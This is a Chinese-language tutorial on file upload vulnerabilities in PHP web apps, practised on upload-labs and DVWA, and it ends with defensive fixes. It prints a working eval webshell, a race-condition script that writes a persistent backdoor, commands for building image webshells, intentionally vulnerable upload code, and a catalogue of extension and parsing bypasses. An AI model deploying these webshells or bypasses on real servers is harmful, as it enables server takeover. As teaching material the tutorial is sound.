文件上传漏洞全套:后缀绕过、MIME绕过、截断上传、解析漏洞

0 阅读10分钟

07-文件上传漏洞全套:后缀绕过、MIME绕过、截断上传、解析漏洞

合规声明:本文所有漏洞复现均在本地靶场环境(upload-labs / DVWA)中进行,仅用于安全学习与研究。未经授权对他人系统进行漏洞测试属于违法行为,请务必遵守《网络安全法》及相关法律法规。学技术的目的是防住它,不是干坏事。

一、开篇:一个"传图片"引发的血案

各位同学好,我是黒漂技术佬。欢迎来到 OWASP Top10 Web 漏洞核心精讲系列的第 7 篇。

前面几篇我们聊了 SQL 注入、XSS 这些"老熟人"。今天要讲的这个漏洞,在甲方安全工程师眼里是"必须修的高危",在红队眼里是"一条通往服务器心脏的捷径"——它就是文件上传漏洞(File Upload Vulnerability)

先讲个场景,帮你建立直观印象:

某个论坛网站,为了让用户能发头像,做了一个上传功能。开发小哥写了 20 行代码,判断了一下文件是不是图片,然后就存到服务器上,再返回一个 URL。看起来人畜无害对吧?

但如果这个"判断"写得不够严,攻击者上传的就不是一张猫猫头像,而是一个 shell.php——一段 PHP 代码。一旦这个文件被 Web 服务器解析执行,攻击者就拿到了在服务器上执行代码的能力,等于把家门钥匙塞给了陌生人。

一句话概括:

文件上传漏洞,就是攻击者上传了一个可被服务器解析执行的恶意脚本文件,从而获得服务器控制权(getshell)的漏洞。

注意这句话里的两个关键词:上传解析执行。缺一个都不成立。这也是我们后面所有攻防思路的总纲。


二、漏洞原理:能上传 + 能解析 + 知道路径

文件上传功能本身不是漏洞——哪个网站不让传头像?漏洞出现在**"上传的文件没有被正确校验"或"存储方式不安全"**的时候。

一个完整的文件上传攻击链,需要同时满足三个条件:

条件 1:能上传恶意文件

服务端的校验被绕过了(这是本篇的重头戏:后缀绕过、MIME 绕过、截断绕过)。

条件 2:文件能被解析执行

上传的 .php 文件放在 Web 目录下,访问它时服务器会用 PHP 解释器执行它。如果存储目录被配置为纯静态资源目录(不执行脚本),攻击就失效了。

条件 3:知道文件的访问路径

攻击者得知道上传后的文件在哪儿,才能去访问它。很多程序上传后返回完整 URL,有些则需要猜测(比如 upload/20260827/xxxx.php)。

用一句话总结攻击面:

能上传(绕过校验) + 能解析(目录可执行) + 知道路径(可访问) = Getshell

而防御方的任务,就是把这三根支柱全部砍断——任何一根断了,攻击链就断了。这个思路请牢记,最后防御方案章节会回收。

2.1 先看看"裸奔"的上传代码长什么样

下面是一个有漏洞的典型 PHP 上传代码(靶场同款简化版,请勿用于生产):

<?php
// vuln_upload.php —— 漏洞示例代码,仅用于学习
if (isset($_FILES['file'])) {
    // 拿到用户上传的文件名
    $filename = $_FILES['file']['name'];
    // 拿到临时文件路径
    $tmp = $_FILES['file']['tmp_name'];
    // 直接拼接到上传目录,未做任何校验
    $dest = "upload/" . $filename;
    // 移动临时文件到目标位置
    move_uploaded_file($tmp, $dest);
    echo "上传成功:" . $dest;
}
?>
<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="上传">
</form>

逐行解释:

  • $_FILES['file']['name']:文件在用户电脑上的原始文件名,完全由客户端控制——这就是问题的根源,攻击者想让它是啥就是啥。
  • move_uploaded_file():把上传的临时文件挪到目标目录。
  • 整个过程没有任何校验:不看后缀、不看内容、不改文件名。

攻击者构造一个 shell.php

<?php
// shell.php —— 靶场演示用一句话木马
@eval($_POST['cmd']);
?>

这行代码的意思是:把 POST 请求中 cmd 参数的值作为 PHP 代码执行。上传后访问 http://localhost/upload/shell.php,用蚁剑/菜刀连接,服务器就"沦陷"了(当然,是在我们自己的靶场里)。

真实的代码不会裸奔得这么彻底,总会有各种校验。于是攻防博弈就开始了——接下来就是本篇最精彩的部分:各种绕过姿势。


三、客户端校验与 JS 绕过

最弱的防护是在浏览器端用 JavaScript 校验后缀。大概长这样:

<script>
function checkFile() {
    // 取出文件名
    var filename = document.getElementById('f').value;
    // 定义允许的后缀
    var allow = ['.jpg', '.png', '.gif'];
    // 取后缀(转小写)判断是否在白名单里
    var ext = filename.substring(filename.lastIndexOf('.')).toLowerCase();
    if (allow.indexOf(ext) === -1) {
        alert('只能上传图片!');
        return false; // 阻止提交
    }
    return true;
}
</script>

绕过方式简单到离谱

  1. 浏览器禁用 JS(F12 → 设置里禁用),表单照样能提交;
  2. 正常选一张 cat.jpg 让 JS 校验通过,然后用 Burp Suite 抓包,把包里的文件名改成 shell.php 再放行;
  3. 直接删掉前端校验代码,自己构造一个表单提交到目标地址。

核心认知:所有发生在客户端的校验都只是"用户体验优化",不构成安全边界。前端校验挡君子不挡小人。安全必须由服务端保证。


四、MIME 类型绕过

服务端第一道常见的校验是检查 MIME 类型(Content-Type)。先科普一下:

当你在网页上选好文件点上传时,浏览器发出的 HTTP 包长这样:

POST /upload.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----abc

------abc
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php      ← 这就是 MIME 类型

<?php @eval($_POST['cmd']); ?>
------abc--

注意:Content-Type: application/x-php 这个值,是浏览器根据文件类型填的,攻击者可以用 Burp 抓包随意修改

服务端校验代码(有漏洞的写法):

<?php
// 只允许 image/gif、image/jpeg、image/png
$allow_mime = ['image/gif', 'image/jpeg', 'image/png'];
if (in_array($_FILES['file']['type'], $allow_mime)) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $_FILES['file']['name']);
    echo "上传成功";
} else {
    echo "MIME 类型不合法";
}
?>

$_FILES['file']['type'] 取的就是请求头里那个 Content-Type——一个攻击者完全可控的字段

绕过步骤(Burp Suite 操作)

  1. 浏览器正常选一个 shell.php 上传,Burp 拦截请求;
  2. 把包里的 Content-Type: application/x-php 改成 Content-Type: image/gif
  3. 注意 filename 还是 shell.php,因为服务端只查了 MIME 没查后缀;
  4. 放行请求,上传成功。

一句话总结:MIME 校验只是"问了一下客户端你觉得这是什么文件",客户端当然会说谎。 MIME 可以作为辅助判断,但绝不能作为唯一防线。


五、后缀名绕过全家桶

接下来是重头戏。假设服务端校验了文件后缀(黑名单或白名单),攻击者还有一大堆姿势可以试。以 upload-labs 靶场为参照逐个讲。

5.1 黑名单 vs 白名单:先分清敌我

黑名单:列出禁止的后缀,比如 ['php', 'asp', 'jsp'],其他的都放行。 白名单:列出允许的后缀,比如 ['jpg', 'png', 'gif'],其他的都拒绝。

安全圈铁律:黑名单注定是"道高一尺魔高一丈"的猫鼠游戏,白名单才是正道。 因为黑名单永远列不全。下面看看黑名单是怎么被花式穿透的。

5.2 大小写绕过

如果黑名单代码是这样:

<?php
$black = ['php', 'asp', 'jsp'];
// 取文件名最后一个点之后的部分作为后缀
$ext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if (in_array($ext, $black)) {
    die('禁止上传脚本文件');
}
?>

strrchr() 找到最后一个 . 后面的部分,没有转小写。于是:

  • 上传 shell.pHp → 后缀是 pHp,不在黑名单里 → 通过!
  • 而 Windows 系统文件名不区分大小写,Apache 解析 shell.pHp 时依然交给 PHP 处理。

绕过成本:改个大小写就完事。

5.3 双写绕过

有些代码发现黑名单后缀后,会做一个"删除处理":

<?php
$danger = ['php', 'jsp', 'asp'];
$name = $_FILES['file']['name'];
// 把危险后缀删掉——但只删了一次!
$name = str_ireplace($danger, '', $name);
move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $name);
?>

str_ireplace() 是不区分大小写的替换。看起来挺严格?攻击者上传:

  • shell.pphphp → 服务端删掉中间的 php → 剩下 shell.php → 完美!
  • 同理 shell.pphphphp 删一次 php 后变成 shell.pphp… 呃这个不对,正确姿势是构造"删除后恰好拼出目标后缀"的字符串。

核心思想:替换/过滤类防御如果只执行一次,就存在"删完重组"的绕过。防御方要用循环替换直到结果不再变化。

5.4 空格与点号绕过(Windows 特供)

Windows 文件系统的"温柔"特性:

  • 文件名结尾的空格会被系统自动忽略:shell.php (注意末尾空格)存储时变成 shell.php
  • 文件名结尾的也会被忽略:shell.php. 存储后变成 shell.php

如果黑名单代码用 $_FILES['file']['name'] 原样比对后缀,php php. 都不在黑名单 ['php'] 里,校验通过。落到 Windows 磁盘上,系统自动"修剪"成 shell.php,解析正常。

用 Burp 抓包把 filename 改成 shell.php.shell.php (结尾空格)即可。这是 upload-labs 经典关卡。

5.5 ::$DATA 绕过(Windows NTFS 特性)

NTFS 文件系统有个"备用数据流"(Alternate Data Streams)机制,文件名后面跟 ::$DATA 时,系统会把 ::$DATA 之后的内容当成数据流处理,主文件名保持不变

  • 上传 shell.php::$DATA
  • 黑名单比对后缀是 php::$DATA,不在黑名单 → 通过
  • Windows 保存时实际创建的文件就是 shell.php

访问 http://target/upload/shell.php(不带 ::$DATA),照样解析执行。

这三个姿势(空格、点、::$DATA)都是 Windows 独有的礼物,Linux 服务器上不成立——但你怎么知道目标是 Windows 呢?都试一遍呗。

5.6 特殊可解析后缀

黑名单只封了 php,但 PHP 世界不止这一个后缀:

  • .php3 / .php4 / .php5 / .php7:如果 Apache 的 httpd.conf(或 PHP 配置)里配置了对应的 AddType application/x-httpd-php .php3 ...,这些后缀同样会被解析;
  • .phtml:常见的 PHP 可解析后缀;
  • .pht:部分配置下可解析。

同理 JSP 世界有 .jspx.jspf,ASP 世界有 .asa.cer.cdx

上传 shell.phtml,内容还是 PHP 代码,黑名单没封它,服务器配置如果认它——getshell。

5.7 .htaccess 重写解析(Apache 的"自杀按钮")

如果黑名单封得比较全,但上传目录允许 Apache 读取 .htaccess(服务器开启 AllowOverride All),那就是另一条路:

先上传一个 .htaccess 文件,内容:

# 让所有 gif 文件都被当作 php 解析
AddType application/x-httpd-php .gif

或者更精炼的写法:

<FilesMatch "shell.gif">
SetHandler application/x-httpd-php
</FilesMatch>

逐行解释:

  • AddType application/x-httpd-php .gif:告诉 Apache,凡是 .gif 结尾的文件,都交给 PHP 处理器解析——不管内容是不是真图片;
  • 第二种写法是指名道姓:shell.gif 这个文件用 PHP 解析。

然后再上传一个 shell.gif(内容是 PHP 代码),访问它时就会被当作 PHP 执行。

这招的启发是:攻击面不只是脚本后缀本身,还包括能改变服务器解析行为的配置文件


六、00 截断:一个时代的眼泪(但面试必考)

00 截断是老漏洞,在 PHP < 5.3.4 且 magic_quotes_gpc 关闭的环境下才成立。现在生产环境基本绝迹,但原理必须懂,面试官特别爱问。

6.1 原理

先看有漏洞的代码:

<?php
// 用户可以控制保存路径的一部分
$save_path = $_GET['path'];        // 例如 upload/
$file_name = $_FILES['file']['name'];
// 拼接:upload/ + 文件名
$final = $save_path . $file_name;
move_uploaded_file($_FILES['file']['tmp_name'], $final);
?>

正常请求:upload.php?path=upload/,最终保存为 upload/shell.php(假设其他校验通过了后缀)。

现在问题来了:如果服务端有一步"检查最终路径必须以 /jpg 结尾"之类的逻辑,攻击者怎么骗过它?

答案是 %00 截断

upload.php?path=upload/shell.php%00a.jpg

%00 URL 解码后是空字符(NULL,\0)。在 C 语言底层,字符串以 \0 作为结束标志。PHP 的底层文件操作函数调用 C 的 API 时,遇到 \0 就认为字符串到此为止:

  • 服务端校验时看到的完整路径:upload/shell.php\0a.jpg——以 a.jpg 结尾,校验通过;
  • 实际写文件时,C 层面字符串在 \0 处截断,真正保存的路径是 upload/shell.php

一石二鸟:校验看到的是图片,磁盘上落的是脚本。

6.2 现代视角

PHP 5.3.4 之后修复了该问题(move_uploaded_file 等函数不再受空字符影响),所以现在:

  • 面试时能讲清原理 → 加分;
  • 实战中遇到 PHP 5.3.4+ 的目标 → 死心,换思路;
  • 遇到老古董系统(是的,真的存在还在跑 PHP 5.2 的内网系统)→ 你懂的。

七、服务端解析漏洞:文件没错,是服务器"看走眼了"

就算你老老实实上传了一个"图片",如果服务器解析机制本身有缺陷,图片也能变脚本。这类漏洞被称为解析漏洞,主角是 Apache 和 Nginx(以及老 IIS,本文略)。

7.1 Apache 多后缀解析漏洞

Apache 解析文件后缀的规则是:从右往左识别,遇到不认识的后缀就继续往左看。

例如文件 shell.php.xxx

  1. Apache 先看 .xxx——不认识,这是什么玩意?
  2. 继续往左看 .php——认识!这是 PHP 文件!
  3. 于是交给 PHP 处理器执行。

所以上传一个 shell.php.abcshell.php.png(只要最右边那个后缀不在 Apache 认识的 MIME 表里),就会被当 PHP 解析。黑名单如果只封了 php 后缀,php.png 这种"缝合怪"就成了漏网之鱼。

7.2 Nginx 解析漏洞(路径修复不当型)

经典的 Nginx + PHP(php-cgi / php-fpm 配置不当)解析漏洞:

上传一张正常的 shell.jpg(图片开头是真的 JPEG 头,后面藏 PHP 代码,即"图片马"),然后访问:

http://target/upload/shell.jpg/xxx.php

如果 Nginx 的 cgi.fix_pathinfo(PHP 配置)为 1(默认值),Nginx 会把 xxx.php 找不到的路径回溯shell.jpg,并把它交给 PHP 处理器。于是 shell.jpg 被当成 PHP 执行——里面的恶意代码就跑起来了。

原理一句话:Nginx 把"不存在的 .php 路径"错误地回溯到了一个存在的非 PHP 文件上,并交给 PHP 解析。

7.3 图片马:让文件"表里不一"

上面这些解析漏洞的最佳搭档是图片马——文件头是合法图片格式,文件尾藏着 PHP 代码:

# 制作图片马(本地靶场练习用)
copy /b cat.jpg + shell.php shell.jpg     # Windows 写法
cat cat.jpg shell.php > shell.jpg          # Linux 写法

逐行解释:copy /b 是二进制合并,把 cat.jpgshell.php 拼成一个文件。文件开头是 JPEG 魔数(FF D8 FF),过得了"文件头校验";尾部带着 PHP 代码,遇到解析漏洞就能执行。

注意:单独的图片马如果没有解析漏洞配合,是无法执行的——它只是个"藏着代码的图片"。图片马是子弹,解析漏洞才是扳机。


八、upload-labs 靶场实战

upload-labs 是国内最经典的文件上传靶场,21 关(社区版还在扩充),每一关对应一种防护/绕过思路。这里给你搭环境和打关的核心思路。

8.1 环境搭建

# 方式一:用 PHPStudy(Windows,新手推荐)
# 下载 PHPStudy,启动 Apache + MySQL,把 upload-labs 解压到 www 目录
# 浏览器访问 http://localhost/upload-labs/

# 方式二:Docker 一把梭
docker run -d -p 8080:80 -v /your/path/uploads:/var/www/html/upload \
    --name uploadlabs uploadlabs:latest

逐行解释:-d 后台运行;-p 8080:80 把容器 80 端口映射到本机 8080;-v 把上传目录挂出来方便看文件落盘情况。

8.2 关卡思路速览

关卡防护方式破解思路
Pass-01前端 JS 校验Burp 改包或禁用 JS
Pass-02MIME 校验抓包改 Content-Type
Pass-03黑名单 + 特殊后缀未封全上传 .php5 / .phtml
Pass-04黑名单较全.htaccess 重写解析
Pass-05大小写未转换shell.pHp
Pass-06未去空格shell.php (尾空格)
Pass-07未去点shell.php.
Pass-08未过滤 ::$DATAshell.php::$DATA
Pass-09双写过滤shell.pphphp
Pass-10双写(另一变体)同上思路构造
Pass-11GET 参数路径拼接%00 截断(需 PHP<5.3.4)
Pass-12POST 参数路径拼接%00 截断(需改 hex,因为 POST 不会自动 URL 解码)
Pass-13~16文件头校验(getimagesize 等)图片马
Pass-17~18二次渲染 / 条件竞争利用渲染未覆盖区域 / 并发抢跑

打法建议:每关先看源码(靶场自带提示),对着防护逻辑想"哪里可控、哪里判断不严",再动手。看源码的能力比 payload 库更重要。

举一个条件竞争的例子(Pass-18 思路):服务端先保存文件、再校验、再删除不合规的文件。这个"保存"和"删除"之间存在一个时间窗口。攻击者用脚本在窗口期内疯狂并发访问 upload/shell.php,只要有一次在删除前被访问执行了,就赢了——比如让 shell 执行时先把真正的后门复制到别的路径:

<?php
// 竞争利用:被访问的瞬间把自身复制成持久后门
$shell = '<?php @eval($_POST["cmd"]);?>';
file_put_contents('backdoor.php', $shell);
?>

逐行解释:file_put_contents() 直接创建一个新文件 backdoor.php 写入一句话木马。原文件就算被删了,backdoor.php 还在。


九、防御与修复方案(甲方重点,必看)

前面看了这么多"矛",现在换上"盾"。回顾开头的攻击链三条件,防御就是把每一环都砸碎。

9.1 后缀白名单校验(第一道墙)

<?php
// 白名单:只允许真正的图片格式
$allow = ['jpg', 'jpeg', 'png', 'gif'];
// 取后缀并强制转小写
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allow)) {
    http_response_code(400);
    die('文件类型不允许');
}
?>

逐行解释:

  • pathinfo(..., PATHINFO_EXTENSION):可靠地取文件扩展名;
  • strtolower():堵死大小写绕过;
  • in_array 白名单判断:只放行明确允许的,其余一律拒绝

9.2 文件内容检测(Magic Number 魔数校验)

后缀会撒谎,但文件头不会。每种文件格式开头都有固定字节(魔数):

  • JPEG:FF D8 FF
  • PNG:89 50 4E 47
  • GIF:47 49 46 38
<?php
// 读取文件前几个字节判断真实类型
$fh = fopen($_FILES['file']['tmp_name'], 'rb');
$magic = bin2hex(fread($fh, 4));
fclose($fh);

$valid = ['ffd8ffe0' => 'jpg', 'ffd8ffe1' => 'jpg', '89504e47' => 'png', '47494638' => 'gif'];
if (!isset($valid[$magic])) {
    die('文件内容不是合法图片');
}
?>

逐行解释:fread($fh, 4) 读文件前 4 字节;bin2hex() 转成十六进制字符串便于比对。白名单后缀 + 魔数校验双保险。

9.3 重命名 + 路径不可预测

<?php
// 用随机串重命名,彻底摆脱用户可控的文件名
$new_name = md5(uniqid(mt_rand(), true)) . '.' . $ext;
$dest = 'upload/' . date('Ymd') . '/' . $new_name;
?>

逐行解释:

  • md5(uniqid(...)) 生成随机文件名——即使上传了恶意文件,攻击者也猜不到路径(砍断攻击链条件三);
  • 用户原始文件名(包括所有 .、空格、::$DATA 花活)被完全丢弃。

9.4 存储隔离 + 目录不可执行(釜底抽薪)

这是最硬核也最有效的一招:

  • 上传文件存到独立存储:对象存储(OSS/COS)或独立文件服务器,与 Web 应用服务器分离;
  • 存储目录的 Web 服务器配置禁止执行脚本。Apache 配置:
<Directory "/var/www/html/upload">
    # 关闭引擎,upload 目录下任何脚本都不会被执行
    php_admin_flag engine off
    # 拒绝解析 .htaccess
    AllowOverride None
</Directory>

Nginx 配置:

location /upload/ {
    # upload 目录下的所有 .php 请求直接返回 403
    location ~ .*\.(php|php5|phtml)$ {
        return 403;
    }
}

逐行解释:Nginx 的 location 嵌套写法,凡是 /upload/ 路径下以脚本后缀结尾的请求,一律返回 403。就算攻击者把 shell.php 传上去了,访问也是 403——攻击链条件二"能解析"被斩断

9.5 其他工程要点

  • 修复解析漏洞配置:Nginx 关闭 cgi.fix_pathinfo=0 或配置 try_files;Apache 谨慎使用 AddHandler/AddType 映射;
  • 限制文件大小:防止恶意大文件打爆磁盘(DoS);
  • 上传接口鉴权 + 频控:别让匿名用户随意上传,减少攻击面;
  • 二次渲染:对图片真实重新编码(如 imagecreatefromjpeg 再输出),可以破坏藏在尾部的恶意代码,对抗图片马。

9.6 防御清单(拿走即用)

  1. 白名单后缀校验(转小写、取真实后缀)
  2. Magic Number 内容校验,必要时二次渲染
  3. 随机重命名,丢弃用户原始文件名
  4. 存储目录禁止脚本执行(engine off / 403 规则)
  5. 上传目录独立部署,路径不可预测
  6. 服务器解析配置加固,修复已知解析漏洞
  7. 上传接口鉴权、频率限制、文件大小限制
  8. 定期审计上传目录中是否有非预期文件

十、小结

文件上传漏洞的攻防,本质是一场围绕"用户可控的文件名/文件内容/保存路径"的博弈:

  • 攻击方招式:客户端绕过、MIME 撒谎、大小写/双写/空格/点/::$DATA/特殊后缀、.htaccess%00 截断、图片马 + 解析漏洞、条件竞争;
  • 防御方正解:白名单 + 内容校验 + 随机重命名 + 目录不可执行,四板斧下去,前面的攻击姿势全部作废。

记住那句话:攻击链是"能上传 + 能解析 + 知道路径",防御只需断其一处,而最好的防御是三处全断。

下一篇我们继续追击另一个"参数可控"型漏洞——文件包含。那是另一条从 URL 参数直通服务器任意文件的隧道。